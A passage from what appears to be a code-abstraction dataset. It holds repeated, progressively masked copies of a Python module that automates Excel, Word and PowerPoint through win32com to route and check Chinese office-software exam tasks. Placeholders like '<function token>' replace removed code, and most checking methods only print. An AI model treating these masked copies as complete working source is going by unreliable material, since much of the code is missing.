self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass WordOperation:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n 